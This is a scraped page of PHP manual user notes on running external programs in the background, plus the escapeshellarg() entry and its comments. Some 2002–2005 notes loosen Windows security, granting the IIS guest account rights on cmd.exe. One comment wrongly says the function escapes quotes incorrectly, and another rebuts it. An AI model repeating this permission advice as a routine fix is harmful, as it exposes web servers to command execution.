// And, of course, no output to the client’s browser from here.

?>
manokan at manokan dot net 27-Oct-2005 03:01
Even more on the "unable to fork" error.

It was driving me crazy! I did check that the permissions were set for the IUSR_[server] account to read & exec cmd.exe. Yet still it failed. It wasn't until I got desperate that I happened to look in "special permissions." (Click the advanced tab underneath the regular list of permissions.) There I found that  somehow the IUSR_[server] account had a special permission DENYING access! Of course deny overrides everything else.

This was a newly set up install of XP pro. It must be the default of something (I'd guess IIS) to set this deny permission just to make our lives miserable.
senorchamo at netzero dot net 19-Oct-2005 04:34
I've been trying to get a process to run in the background while the rest of the script which called the process continues to run.  The easiest way I found to do this in Linux is by executing the following:

The script to run in the background is called $ProgExec

<?php
...script before...
exec("$ProgExec > /dev/null &");
...script after
?>

The "> /dev/null" makes all output go into a blackhole.
The "&" makes the process run in the background.

Works like a charm for me.  Thought I'd spread the good news. :)
abhilashp at clariontechnologies dot co dot in 29-Sep-2005 09:58
I faced the problem of putting a shell script as a backgroud process using both exec() and system() commands on a FreeBSD Server with PHP 4.4.0

I tried all the above mentioned methods but couldnt succeded, then i coded this script and am sure will work on all Linux flavors... See if ot helps you all guys...

I Put my Shell Script in the variable $ExecCommand

and used the proc_close and proc_open functions the code is as follows :

proc_close (proc_open ($ExecCommand,array(),$somefun));

After the above line the rest of the usual  php script continues....

Hope it helps you guys..
Helpful Harry 22-Sep-2005 07:15
To tell you the truth, I don't know how... or why... this works, but I am able to spawn background win32 processes whereby the PHP interpreter does not wait on the called program to finish...

<?php
pclose(popen("start /b <program> <args>", 'r'));
?>

I don't know wheither pclose is neccesary or not, but I can only guess that it frees up memory.

an example would be

<?php
pclose(popen("start /b C:\php\cli\php script.php', 'r'));
// rest of the program
?>

where script.php would execute independantly of the parent script..

hope this helps,
Harry
php at haz dot dk 17-Sep-2005 11:41
Problems with PHP+APACHE+SIGALRM?

Note: Apache uses SIGALRM to some of it's internal timer functions, which means that all external programs that you might want to run that relys on SIGALRM won't run as expected!

This includes the popular programs, ping, arping and probably a lot more.
drenintell 16-Jul-2005 06:42
For those having a problem executing an exe on Windows, try changing the current working directory to the executable's directory.
<?php
chdir($executable_directory_path);

// Once you have changed the directory try calling exec, system... etc.
exec($cmd);
?>

Regards,
  drenintell
Helpful Harry 15-Jul-2005 08:48
I figure this is as good a place as any to describe how to use  php with cron

there are two methods, executing directly or using wget...

1) to execute directly

create a php script to tell you where the php interpreter is located:

type 'which php' or just run this simple script

<?php
passthru('which php');
?>

that should return /usr/local/bin/php or something similiar.  This is the path to your php interpreter.

now for your cron entry:

0 0 * * * /usr/local/bin/php /path/to/phpscript/script.php

make sure this script is out of the document tree.

2) execute with wget

for your cron entry:
0 0 * * * wget http://path.to/phpscript/script.php

now this script has to reside in the document tree so allow for this check...

<?php
if ($_SERVER['SERVER_ADDR'] == $_SERVER['REMOTE_ADDR'])
    //execute script here
else
    die('Invalid Access.');
?>

(and perhaps a get "?auth=password" check)
php at breakpirates dot com 28-Jun-2005 05:36
The whole Windows 2003 server solution with changing permissions on cmd.exe for IUSR doesn't seem ideal IMO. It does open up serious security issues. Taking a copy and placing it in the PHP folder could potentially expose your server to exactly the same risks where a HTTP exploit could be used to access cmd.exe and then basically have the rights to run anything on your server...not good. Having your PHP install on a different drive may help things but it's still not ideal.

The only other thing I could think of is using a replacement cmd.exe in c:\php with tight restrictions on where it can run things from, for example c:\myexecutables . I doubt PHP does any checks on the cmd.exe within its own folder so switching this for a different one would probably be fine.
20-Jun-2005 10:40
Comment to code posted by info at skyco dot de:
On Apache 1 and PHP 5, the code didn't work as expected?

Something like this worked better:
<?
// put this in the calling file:
function callWebsite($strHost, $strPath="/") {

// try opening the connection
$fFile = @fsockopen($strHost, 80, $intError, $strError);

    if ($fFile) {
        // make a simple GET-command
        $strCommand = "GET ".$strPath."\r\n";
        // send the command
        fwrite($fFile, $strCommand);
        // close connection
        fclose($fFile);
        return true;
    } else {
        // report error
        echo "Could not connect to ".$strHost. " (".$intError.") ".$strError.".");
        return false;
    }
}

// call like you were outside yourself... (127.0.0.1=your own computer)
callWebsite("127.0.0.1", "/yourpath/yourfile.php?example_variable=24");
?>

<?
// and do this in the file that should run on it's own:
ignore_user_abort(true);
// if it should run longer than timeout, do this:
set_time_limit(0);
// put your code below here
?>

Your last file could be tested in telnet too. To do this, enter this using the command prompt:
telnet www.yourhost.com 80<enter>
GET /thepathtoyourfile/file.php?hello=yes<enter>
xmb at skilled dot ch 01-Apr-2005 07:25
ronny posted:
    $uptime = exec("expr $(awk '{print $1}' < /proc/uptime | awk -F. '{print $1}' ) / 86400");

-> real awk:
    $update = exec(" awk '{ print $1 / 86400 }' </proc/uptime ")
    $update = exec(" awk '{ printf "%02.2g", $1 / 86400 }' </proc/uptime ")
info at skyco dot de 19-Mar-2005 08:13
I noticed that a couple of contributers planned on having threads running in background while operation continues.

If you have a script that will function for itself there is an easy solution: call it through fsockopen (request to webserver) and do not wait for the answer. To make sure process is called correctly on all operating systems I had to add an fgets but break after first couple of bytes.

example main script

<?php
    echo "This is main thread, returning immediately";
    $fp = fsockopen( <addyourcalltoscript> );
     //fputs($fp, <yourvariablestosend>);
     while(!feof($fp)){
          fgets($fp, 128);
          break;
     }
    fclose($fp);
?>

example child script

<?php
    // make sure script runs without stopping //
     set_time_limit(0);
     ignore_user_abort(true);
    // your code
?>
sven at nospam grovestreet dot net 08-Mar-2005 10:42
Hey,
I had this problem: I wanted to kick off a PHP script that would possibly run for a while. This is on a web GUI, so there is the problem of a) the user stopping the browser, and b) reloading or revisiting the page.

Since this will live on a hosted box over which I have little control, am unsure of whether CLI or the CGI is installed, and didn't want to add Perl to the mix, I came up with this hack.

<?
$logfile = dirname(__FILE__)."/mail.log";

if (file_exists ( $logfile )) {
    if ( (time() - filectime( $logfile ))<10 ){
    // file exists and was changed less than 10 secs ago
        header("Refresh: 2; url=''");
        print "process running....<br><br>\n\n";
   // the below just inverts the log and prints it
        $logcontents = file($logfile);
        foreach (array_reverse($logcontents) as $line) {
            print $line."<br>\n";
        }
    } else {
   // file exists but has not been changed in 10 secs
        print "process finished!<br><br>\n\n";
        $logcontents = file($logfile);
        foreach ($logcontents as $line) {
            print $line."<br>\n";
        }
   // dump the file so I can run the proces again
        unlink ($logfile);
    }
} else {
echo "\n\n";
echo "startig process...<br><br>\n\n";
ob_flush();
flush();

$log = fopen($logfile, "a") or die("error opening log\n");
// don't kill this process no matter how long it runs
set_time_limit(0);
// keep running even if the user stops the browser
ignore_user_abort(true);
// dummy stuff. put the real work here
for ($i=0; $i<20; $i++) {
    $thisline = "iteration $i";
     fputs($log, $thisline."\n");
    print $thisline."<br>\n";
    ob_flush();
    flush();
    sleep(1);
}
fclose ($log);
}
?>

This yields:

1st hit:
  startig process...

   iteration 0
   iteration 1
   iteration 2
.... adding lines as long as the request is not stopped

on subsequent hits

   process running....

   iteration 2
   iteration 1
   iteration 0

and refreshing every 2 secs

and finally:

   process finished!

   iteration 0
   iteration 1
   iteration 2
   iteration 3
   iteration 4
 .... rest of log file

Seems to be pretty stable... - any comments in email please.

sven
mr_potty_noodle at hotmail dot com 16-Feb-2005 07:11
You may have issues with RUNAS or CPAU using the exec function on win2k server (Fully patched as of 2005 in my case), Windows 2k3, Windows XP SP2 may require special consideration if your services use the local system account.

It seems Microsoft changed the CreateProcessWithLogonW API call in the backend that makes it incompatible with localsystem account.

This means that some applications WILL NOT RUN, the process will not be created, it will be denied. At first i thought this was a permissions issue, however after looking into it, its clear that it is not.

A solution to the issue is to modify the system service that your web server uses to run from the local system account. In my case this was not an option as the WWW (iss) services on win2k server are integrated with other services which will cause problems.

Microsoft have come up with a solution in a vbs script. The following is a quote from a Microsoft support e-mail, it was aimed at winXP sp2. I have no idea if it will resolve the issue on win2k / win2k3 machines at the moment.

"Thank You for contacting Microsoft Support in regards to your question with CreateProcessWithLogonW() not working on XP SP2 from the localsystem account.

In our internal support database I’ve found the following answer from an American colleague to exactly the same question:

“The code for CreateProcessWithLogonW() was changed in SP2 to have the same behavior as Windows Server 2003. One of the things CreateProcessWithLogonW() will do ensure that the child process has access to the windowstation/desktop if lpDesktop member is specified to NULL or empty string. On Windows XP SP1, the operating system
would grant explicit access to the child process for the windowstation/desktop of the parent process. On Windows XP SP2, the API determines the logon SID of the parent process and adds this to the token of the child process so the API doesn't need to modify the DACLs for the windowstation/desktop. This will not work with the localsystem account since it doesn't have a Logon SID.

If you would like to launch the process interactively (ie winsta0\default) with XP SP2, you'll need to do the following:

1. set lpDesktop to "winsta0\\default".
2. grant the user in the CreateProcessWithLogonW() call access to
"winsta0\\default". The following KB article has sample code on modifying the security using VB:

316440 How To Use Low-Level Access Control APIs from Visual Basic
http://kb/article.asp?id=Q316440

The function you need to look at is: UpdatePermissionsOfUserObject()

To determine what type of permissions should be granted. Please take a look at the following article:

165194 INFO: CreateProcessAsUser() Windowstations and Desktops
http://kb/article.asp?id=Q165194

#define WINSTA_ALL (WINSTA_ACCESSCLIPBOARD | WINSTA_ACCESSGLOBALATOMS |
WINSTA_CREATEDESKTOP | WINSTA_ENUMDESKTOPS |
WINSTA_ENUMERATE | WINSTA_EXITWINDOWS |
WINSTA_READATTRIBUTES | WINSTA_READSCREEN |
WINSTA_WRITEATTRIBUTES | DELETE |
READ_CONTROL | WRITE_DAC |
WRITE_OWNER)

#define DESKTOP_ALL (DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW |
DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL |
DESKTOP_JOURNALPLAYBACK | DESKTOP_JOURNALRECORD |
DESKTOP_READOBJECTS | DESKTOP_SWITCHDESKTOP |
DESKTOP_WRITEOBJECTS | DELETE |
READ_CONTROL | WRITE_DAC |
WRITE_OWNER)

The values for the above defines are in winuser.h.

I have tested this from localsystem account with XPSP2 and it works using the code from the above article, 165194.”
Shaun 26-Jan-2005 01:53
Trying to use 'exec' to run a helper executable on Win2K3 (and I'm told this also happens on Win2K) from a PHP script running on IIS, failed to invoke the executable.

Running the same PHP script on Win2K using Apache to serve the page calling the same helper executable worked.

Solution: On Win2K3 (and probably Win2K), give the IIS IUSR_xxxxx guest user Read & Execute permissions to Cmd.exe found in the System32 folder under Windows root directory.

This one had me confused longer than it should have! Hope this saves others from the same fate!
louis dot j dot scoras at gmail dot com 23-Jan-2005 10:43
To start a process to run in the background, you can use the same technique you would in writing a daemon.  Fork a new child while exiting in the parent, then set that as the process leader.  Finally, fork once more, and run whatever the command is:

<?php

if(pcntl_fork()) {
    exit;
}
posix_setsid();
if(pcntl_fork()) {
    exit;
}
pcntl_exec('/usr/bin/ogg123', array('-q', $this->findPath()));

?>

Of course, this would be the last thing that your script does, because the parent exits when you spawn the new process.  You could do more fancy things, but this works as a good starting point.
margus at kohv dot com 18-Jan-2005 03:10
Well, I had this issue when I wanted to start an indefinitely running PERL script from PHP. Somehow I could not make the PHP script to return after executing the PERL script. So finally I came to following solution:

PHP file
-------------------
<?php
exec("perl /home/chatserver.pl > /dev/null");
?>
-------------------
This script will be run over HTTP.

PERL file
-------------------
#!/usr/bin/perl
fork and exit 1;

# normal code here...
-------------------

Hopefully it helps someone :)
Margus
sean @T keenio - dot - com 09-Jan-2005 11:35
Just to clarify, background shell exec()ing is not the same as a fork() under Unix. It would be useful if PHP supported fork() like Perl and other scripting languages do. Simply exec()'ing a process and sending it to the background is not the same.

A true fork() copies the current environment and duplicates the running script so that there are two instances, one child, one parent. The child and parent can determine which copy they are and then take separate courses of execution paths based on that. Often one copy will perform some "busy work" while the other returns to normal execution. But no matter what, both functions live within the same code rather than a separate, external program. exec()ing can not do this for you.
sam at freepeers dot com 01-Oct-2004 05:51
To clarify even more about what has been said in the last few posts:

"exec", "backticks", "system" and so on will fail on Windows 2003 by default.

You must modify the security on cmd.exe to give the user account IUSR-computername the necessary permissions which are at least read & execute.
leaetherstrip at inbox dot ru 08-Jul-2004 02:23
Note on XP users: XP-Home edition does not allow to set rights directly on files and folders. You should use cacls command-line utility to do this.

For example:

cacls c:\windows\system32\cmd.exe /E /G IUSR_ADMIN2003:F

gives IIS user full access to cmd.exe (potential security hole!), so PHP can fork and execute external programs.
dotpointer 14-May-2004 06:02
Win32 / PHP 4.3.6...

If you plan to start programs on the server that show message boxes (things that require OK from the server-side), or remain (like notepad.exe), and the exec-command seems to go into an deadly loop, then MAYBE your program has started, but you can't see it. Because the web server runs as an system process, and it isn't allowed to interact with the desktop.

To solve a part of the problem (to see the programs you execute), in the control panel in Windows, goto Administration->Services, right-click the server-service, goto Properties and on the second tab (login?) and check the box about allowing the service to interact with the desktop. Click OK. Restart the webserver, and MAKE SURE it is restarted for real (i.e. look in the task manager so the service goes _down_), otherwise the desktop-option won't take.

Next phase would be to stop PHP from waiting for the processes to complete (this is what makes PHP "loop"). I solved this by creating a small Delphi-application that took the path to the file I wanted to execute and executed it by the WinExec API, which just starts the childprogram but doesn't wait for it to complete = the program completes and the PHP.exe completes the script. Problem solved!

Delphi-snippet:
WinExec(PChar(<CMD>),SW_SHOW); // replace <CMD> with the program path.
vosechu at roman-fleuve dot com 25-Mar-2004 06:35
Quick chart that helped me immensely (Best (+) / worst (o) of each command) and when to use each (w).

| exec(string cmd, [array cmd_output, [int cmd_exit_status]])
+- Second (optional) argument holds an array containing the output line by line.
+- Third (optional) argument holds the exit status of the executed program.
w- When the output of a command is only important to the program.

| system(string cmd, [int cmd_exit_status])
+- Echos ascii output straight to browser (only stdout; stderr must be redirected by putting 2>&1 after the command to see errors).
+- Second (optional) argument holds the exit status of the executed program.
w- When the output of a command is important to the user.

The more I go over my notes the less I care for the last two functions.
Shell_exec() = exec() + implode() - exit codes.
And while neccessary to be able to pipe binary through php, most people will never use passthru

| passthru(string cmd, [int cmd_exit_status])
+- Echos binary output directly to browser window.
+- Second (optional) argument holds the exit status of the executed program.
w- When the output of a command is binary.

| shell_exec(string cmd) <-- minimal features to maintain sync with normal use of backticks.
+- Returns full output as a string instead of directly to the browser (only stdout; stderr must be redirected).
o- No way to check exit status (Should use system() with both stderr and stdout redirected to /dev/null to get the exit code).
ferchland at computer-kontor dot de 22-Jan-2004 08:24
I tried to fork a GUI-process on WinNT, Apache 2, PHP4.
I saw the new process (notepad.exe) in the Task-Managers process-list, but no Notepad-Window anywhere!
After activating the checkbox "Interactive with Desktop allowed" in Services->Apache everthing works with a simple command
exec("start c:\\winnt\\notepad.exe");
jeremy at ntb dot co dot nz 28-Sep-2003 09:18
If an error occurs in the code you're trying to exec(), it can be challenging to figure out what's going wrong, since php echoes back the stdout stream rather than the stderr stream where all the useful error reporting's done. The solution is to add the code "2>&1" to the end of your shell command, which redirects stderr to stdout, which you can then easily print using something like print `shellcommand 2>&1`.
dens at dodgeball dot com 18-Sep-2003 03:41
I was stuck for about an hour and a half last night trying to get Perl to pass back values to my PHP script after running an exec() command.

Since my Perl script was using STDOUT (after being passed command lines variables), I expected the variables used in my .pl script to be accessible in PHP, no questions asked.

Of course, this wasn't working and I finally figured it out with the help of a friend (Shawn = superstar):  you need to echo the exec() command in order to get the values back into PHP.

Since I was returning multiple values, I added pipe delimiters in my .pl script and then used PHP to parse the string to retreive my data into different variables.

Check it out:

#hit the .pl script with the data
$mydata = exec("script.pl 'command line args' ");
exec("exit(0)");

#parse the value that comes back from the .pl script
list($strA, $strB) = split ('[|]', $mydata);
echo "valueA: " . $strA."<br>";
echo "valueB: " . $strB."<br>";

Woo-hoo!
/d
software at yvanrodrigues dot com 29-Jul-2003 02:55
MORE ON THE UNABLE TO FORK MESSAGES IN WINDOWS:

I would like to confirm that this issue relates to permissions on %SYSTEMROOT%\SYSTEM32. The user (usually the anonymous login) must have execute permissions on cmd.exe

This is unlike most other programming languages. For example, in C the spawn and exec functions do not try to open a shell, they create the new process directly. PHP creates the new process via cmd.exe (or command.com) much like the C system() function. This is good for those of you who are trying to run batch files but this is very ineffecient for running other .exe files.

I feel uneasy about lifting permissions in my system32 directory but you can get around this by copying cmd.exe to your PHP directory. Windows will look there first and if it is not there it will check the path. Note: I mean the directory where php.exe is, not your script directory.

I have confirmed this by running filemon.exe while trying to execute a script, and you can see it trying to start the cmd.exe process.
kristof_jebens at hotmail dot com 23-Jun-2003 02:23
For WIN2K Server users running Apache 1.3.22 who are unable to run an executable...

exec('c:\\WINNT\\system32\\cmd.exe /c START c:\\file.exe');

this is the only way it worked for me.
Hope that helps
david at mego dot com dot tw 02-Jun-2003 11:48
Okay here is my two cents for Windows users having "Unable to fork..." errors when executing "shell_exec" or "system" functions.

After numerous hours of testing, I realized that this error is a result of insufficient file permissions.  You will need to locate c:\Windows\system32\cmd.exe and set the permission to at least Read & Executable for Internet Guest user accounts.

Then you should be able to run your script without a problem.  If you still have a problem feel free to contact me by email.
leenoble at spammenot dot ntlworld dot com 09-May-2003 09:37
Even I typed in the full path to a command none of the shell functions worked at all.

exec("/usr/bin/mygoodcommand");

...just didn't produce results.

The command was world executable and ran fine from the shell. But after playing with the 2>&1 thing I established that "mygoodcommand" needed all of its commands to be path specific too. In my case I was attempting to dump a processed uploaded spreadsheet to a database with the command:

mysql --local-infile -u supportadmin --password='*******' personnel < /Users/leenoble/Sites/Websites/Support/data/updateexec.sql

In order for this to work I had to add:

/usr/local/mysql/bin/ to the mysql command to make it work. I hope this helps stop someone else from tearing their hair out in frustration.
mk at neon1 dot net 20-Apr-2003 09:17
If you want to execute background processes from PHP that should run indefinitely, be aware of the following nasty behavior (confirmed with PHP 4.3.1 under FreeBSD, but probably under other flavors of UNIX, too):

PHP internally calls setitimer(2) to set the profiling interval timer (ITIMER_PROF) to enforce execution time limits (max_execution_time and max_input_time). These timer values are passed down to all processes executed by PHP. This means that after such a process has consumed [max_execution_time] seconds of CPU time (not wallclock time!), the system will send it a SIGPROF (signal 27). Since most processes don't use this signal and as such don't call signal(3) to catch or ignore it, the default action is executed, which is to terminate the process.

So if you see background processes that were executed from PHP dying at seemingly random times, you may be experiencing this issue. The solution is simply to call set_time_limit(0) just before executing the process.
jpgiot at ifrance.com 25-Jan-2003 06:30
FOR WINDOWS USERS

i had a look to start command. it's really usefull in fact.

this is how i launch a specific Apache SSL server

<?php
$cmd = "start /D C:\OpenSA\Apache /B Apache.exe -D SSL";
exec($cmd,$output,$rv);
?>

/D specify the path where application will be launched (equivalent to cd to path)
/B launch application without a console window

so to know the exact parameters of start, you could use

<?php
exec("start /? > start.txt");
?>

and you will get the help of start in a file named 'start.txt' in the same place you run the script

for WIN 98 you may need to modify a little your command

exec("COMMAND.COM /C START program args >NUL");

(taken from another post)
jfl at eksperten dot dk 10-Jan-2003 10:01
I made my script work in the background like this:
function start_shell ($cmd) {
    exec('nohup "'.$cmd.'" > /dev/null &');
}
qscripts at lycos dot nl 07-Jan-2003 05:45
Why not using the "start" utility, provided with every version of Windows to start processes in the background on Windows machines? For example :

exec("start song.mp3");

Which will cause the default handeling application for .MP3 file types to start playing the selected song..
NOtvdgeerSPAM at NOxs4allSPAM dot nl 03-Dec-2002 04:36
For users of PHP4 & Apache on Windows2000/XP:

If you're trying to execute a command-line application from PHP that has to show a (console) window on your desktop, make sure you enable the option to 'allow service to interact with desktop' in de service properties of Apache. (See your Windows services)

CAUTION: This can lead to security problems if your setting up a publicly available webserver!
k dot mitz dot NO_SPAM at att dot NO_SPAM dot net 15-Sep-2002 02:07
Newbie note:

The only syntax I found to work for the command portion of an an exec() call on a Win2K devel platform is:

$cmd = "\"path-to-exe\" args file-name";

where 'path-to-exe' has escaped double quotes, args are in the standard format, and 'file-name' has any backslashes escaped.

Example:

$cmd = "\"C:\program files\winzip\wzunzip.exe\" -c C:\\temp\\uploaded_file.zip";

exec($cmd,$output,$rv);

Note that the backslashes are escaped in the uploaded_file name, but not in the path to call the Winzip executable.  Go figure!
kop at meme dot com 12-Aug-2002 02:52
AFICT, the standard Unix Apache configuration causes an rare problem when running a job in the background. The MaxRequestsPerChild directive causes the child to terminate after 1000 requests, any background processes associated with the child will die with the child unless they are started with the "nohup" command.  Thus, the proper way to start a job in the background is to use:

exec('nohup my-command > /dev/null 2>&1 &')
ramirosuarez at fibertel dot com dot ar 12-Jul-2002 08:58
For Windows Users:

Keep in mind that a lot of UNABLE TO FORK Errors are the result of insufficient permissions.

CMD.EXE, TEMP Directory (or whatever you specified in php.ini), and all the directories that you use to upload o manipulate your files need to have Write privileges… usually user USER.

This will be useful for all the people who use GD Libraries or other programs that manipulate graphic images.
GCMXZPJPDJER at spammotel dot com 30-Jun-2002 12:41
to execute a script in background from php you don't need to use mikehup or other tools. just do:

`/usr/bin/php -q foobar.php >/dev/null 2>&1 &`;

mat
deschampsbest at noos dot fr 26-Jun-2002 01:05
I needed to know when a group of background tasks, which had been launched with a call to system, had terminated.
I could not find a function to call, so I created a little function.

It basically loops on the existance of a string in the results returned by the command ps.

All my commands, which run in background have the pid returned by posix_getpid in them.

I am able to launch many background task and effectively wait for them all to finish.

Before this, I would basically would sleep for N seconds.

I apologise if a well known or better method exist.

Thanks,
The New Bee
===============
===============

function wait_until_termination ($id, $duration){
                $i = 0;
                do {
                        $i += 1;

                        $cnt = `ps -auxww |
                                grep $id |
                                grep -v grep |
                                awk '{print $2}' |
                                grep -v $id|
                                wc -l` ;

                        if ($cnt > 0) {
                                sleep ($duration);
                        }

                } while ($cnt != 0);

                echo ("wait_until_termination (PID: $id, SEC: $duration) : LOOPS
:$i<BR>");
        }
rolland dot dudemaine at msg-software dot com 11-Apr-2002 05:45
In case you ever had to chain from php to another program (e.g. with a cgi php that only gives part of the output, or with php-gtk), here is a little C program that kills his parent (php, for instance), then launches a program given in argument.

chain.c :

#include <unistd.h>

int main(int argc, char**argv) {
  /* kill the parent */
  kill(getppid(), 15);
  argv++;
  /* then launch the new program */
  return execvp(argv[0], argv);
}
(compile with gcc -O3 -o chain chain.c)
then in php, use
<?
exec('chain sh -c echo test');
?>
vi_pa at hotmail dot com 05-Apr-2002 04:17
For those who want to execute a .php script to run in the background, from a
.php web page...

exec("php script.php parameters 2>dev/null >&- <&- >/dev/null &");

Where...
- php is the path to your php script executer (php has to be specifically complied to be to do this)
- script.php is the script
- parameters are none or more parameters
- 2>dev/null redirects the stderr to a file
- <&- switches off the stdin
- >&- switches off the stdout
- >dev/null redirects all other output to the file dev/null
- & direct script to run in background

This is the only way I managed to get it working (Linux & Apache, php 4x enviroment) . What is also great is that the process is forked so even though a user may close the browser that initiated the exec(), the process will still run to completion. And the dev/null file can be turned into a log.

What I found odd is that the script I was execing would run fine in the bg when executed from the command line, but not from the browser until I closed the stdin and stdout.
daniel dot hopp at godot dot de 01-Feb-2002 11:25
Re: session_write_close()

To launch a background process within a session, I recommend
to use a start-stop-daemon and ship parameters via ENV.

Example:
----------------------------------------
<?php
  // Within a session..
  exec("/some/where/launch.sh 300");
  // ..finished immediately.
?>

----------------------------------------
#!/bin/bash
# /some/where/launch.sh
T=$1
export T
DAEMON=/some/where/runme.pl
start-stop-daemon --start --quiet --background --exec $DAEMON

----------------------------------------
#!/usr/bin/perl
# /some/where/runme.pl
my $t = $ENV{'T'};
sleep($t);

----------------------------------------
edwin at bit dot nl 23-Jan-2002 03:47
If you are using sessions and want to start a background process, you might have the following problem:
The first time you call your script everything goes fine, but when you call it again and the process is STILL running, your script seems to "freeze" until you kill the process you started the first time.

You'll have to call session_write_close(); to solve this problem. It has something to do with the fact that only one script/process can operate at once on a session. (others will be lockedout until the script finishes)

I don't know why it somehow seems to be influenced by background processes, but I tried everything and this is the only solution. (i had a perl script that "daemonized" it's self like the example in the perl manuals)

Took me a long time to figure out, thanks ian@virtisp.net! :-)
lk1 at reglos dot de 25-Oct-2001 03:05
To keep a program running in the background on win98 the command
exec("COMMAND.COM /C START program args >NUL");
works fine for me.
naken at naken dot cc 15-Aug-2001 02:17
Anyone who still wants a copy of mikehup.c,
I rewrote it:  http://www.naken.cc/mikehup.php
This program will help you run programs in the
background that are called with the php system()
function.
Predefined Constants
escapeshellarg
Program execution


Escape a string to be used as a shell argument

Program execution Functions
escapeshellcmd
Program execution Functions
PHP Manual

escapeshellarg

(PHP 4 >= 4.0.3, PHP 5)

escapeshellarg — Escape a string to be used as a shell argument

Description

string escapeshellarg ( string $arg )

escapeshellarg() adds single quotes around a string and quotes/escapes any existing single quotes allowing you to pass a string directly to a shell function and having it be treated as a single safe argument. This function should be used to escape individual arguments to shell functions coming from user input. The shell functions include exec(), system() and the backtick operator.

Parameters

arg

The argument that will be escaped.

Return Values

The escaped string.

Examples

Example #1 escapeshellarg() example

<?php
system('ls '.escapeshellarg($dir));
?>

See Also

  • escapeshellcmd() - Escape shell metacharacters
  • exec() - Execute an external program
  • popen() - Opens process file pointer
  • system() - Execute an external program and display the output
  • backtick operator

User Contributed Notes

phil at philfreo dot com 03-Aug-2010 03:56
When escapeshellarg() was stripping my non-ASCII characters from a UTF-8 string, adding the following fixed the problem:

<?php
setlocale(LC_CTYPE, "en_US.UTF-8");
?>
phpman at crustynet dot org dot uk 12-Oct-2009 10:53
The comment from 'rmays at castlecomm dot com' is incorrect: single quotes cannot be backslash-escaped inside a single-quoted string when constructing a shell argument. The output from this function is in fact correct. It drops out of the single-quoted string, includes a literal single quote with a backslash-escape, then resumes the single-quoted string. Observe:

[shellarg.php]
<?php

system("echo ' single quote\'d '");
system("echo ' single quote'\''d '");
?>

$ php shellarg.php
sh: -c: line 0: unexpected EOF while looking for matching `''
sh: -c: line 1: syntax error: unexpected end of file
 single quote'd
rmays at castlecomm dot com 23-Jul-2009 10:34
A warning on how this handles single quotes in a string

Example:
print escapeshellarg(" single quote'd ");

Expected:
' single quote\'d '

Actual Result:
' single quote'\''d '

So if you pass a ' into this function, it will return an incorrectly escaped string!!!!
jrbeaure at uvm dot edu 26-Jun-2009 06:51
When running a string of LaTeX code containing hyphens through as an argument to pdflatex escaped using this command, it will result in failure.
info at infosoporte dot com 20-Jan-2009 04:12
If escapeshellarg() function removes your accents (like á, a with an 'accute') from the given string, ensure your LC_ALL variable is correct. If using it via web, you need to restart Apache or the corresponding web server after setting LC_ALL with a export LC_ALL=es_ES.utf8 (for example) from your shell.
Audun 30-Jul-2008 05:02
The reason why % are replaced with space on windows is that it is impossible in cmd.exe to escape or quote them so that environment variables are not expanded.  If for instance %path% is in your argument it will always be expanded, so the only safe thing to do is to replace % with something else.

Alternatively, you could wipe the environment before making the call to exec(), but that has its side-effects.
Cameron 02-May-2008 11:45
in regards to the bug returning no string where it should return "" or '', just do
<?php
shell_exec("example ". (($arg=escapeshellarg($arg))? $arg : "''"));
?>
egorinsk at gmail dot com 28-Apr-2007 04:09
Under Windows, this function puts string into double-quotes, not single, and replaces %(percent sign) with a space, that's why it's impossible to pass a filename with percents in its name through this function.
php at atu dot cjb dot net 15-Mar-2007 09:45
In reply to vosechu at roman-fleuve dot com: Even if it's two "'s or two ''s, this function wouldn't work the way it's supposed to (that is, returning nothing). However, most people do not put "" into their commands...

When many commands are executed, the order of the parameters is of critical importance, especially with shell scripts where $1, $2, $3, etc. are commonly used without checking what is stored in them first.  In such cases, having this function not return even an empty parameter will break things.

As was mentioned earlier, putting two single quotes '' before the output of this function will remedy this issue, as the '' in itself will not add any characters to that command line parameter, but it will turn it into a placeholder for that parameter when the value is empty.
22-May-2006 05:25
Most of the comments above have misunderstood this function. It does not need to escape characters such as '$' and '`' - it uses the fact that the shell does not treat any characters as special inside single quotes (except the single quote character itself). The correct way to use this function is to call it on a variable that is intended to be passed to a command-line program as a single argument to that program - you do not call it on command-line as a whole.

The person above who comments that this function behaves badly if given the empty string as input is correct - this is a bug. It should indeed return two single quotes in this case.
phpnet at lostreality dot org 11-Nov-2005 08:53
This function does not escape $ it seems. This lets user embed shell variables such as $PATH into commands, which you may or may not want to allow.  I'm using shell_exec() because I need the entire command as one string, and need access to the stdout data as one string as well.
ludvig dot ericson at gmail dot com 01-Sep-2005 10:17
It seems from my tests that escapeshellarg("`ls -al`") is _NOT_ escaped into \`ls -al\` as it should be.

Anyway, a bash/sh environment does not seem to interprett ` inside of a singleqoute (').

$ echo "`echo hello`"
hello
$ echo '`echo hello`'
`echo hello`
$ echo "\`echo hello\`"
`echo hello`

Just a tip.
18-May-2005 11:37
According to my test (PHP 4.3.10) there is no need to call escapeshellarg() on a filename that is being written to by proc_open, and probably others. E.g.
<?php
$process = proc_open("echo hi",
                               array(
                                  0 => array("pipe", "r"),
                                  1 => array("file", 'filename with spaces', "w"),
                                  2 => array("pipe", "w"),
                               ),
                               $pipes);
?>
creates a file named:

filename with spaces

In fact,
<?php
         1 => array("file", escapeshellarg('filename with spaces')
?>
creates a file named:

'filename with spaces'

(quotes included in filename.) Maybe all the PHP functions that take a filename as a separate parameter work this way. I guess you just need to escape filenames when they are part of a single string command line such as with the backtick operator, system(), etc.
antony lesuisse 22-Apr-2004 08:30
NOTE: If you are using PHP >= 4.2 you should use the pcntl_* (Process
Control) functions instead of this hack.

PHP, before version 4.2, didn't provide any execl(3)-like or
execv(3)-like methods to invoke external programs, thus everything
goes trough /bin/sh -c and we are forced to quote arguments.

To make it worse escapeshellarg() behaves badly (IMHO) with an empty
string:
<?php
    echo "mime-construct --to ".escapeshellarg($to)." --cc a@a.com";
?>

The following function is a wrapper to system(), and it can be adapted
to popen(),exec(),shell_exec():

<?php
    # system with perl? semantics
    function lib_system() {
        $arg=func_get_args();
        if(is_array($arg[0]))
            $arg=$arg[0];
        $cmd=array_shift($arg);
        foreach($arg as $i) {
            $cmd.=" ''".escapeshellarg($i);;
        }
        system($cmd);
    }
    # example1
    lib_system("mime-construct","--output", "--to",$a,"--string",$b);
    # example2
    lib_system(array("mime-construct","--output", "--to",$a,"--string",$b));
?>
vosechu at roman-fleuve dot com 25-Mar-2004 05:05
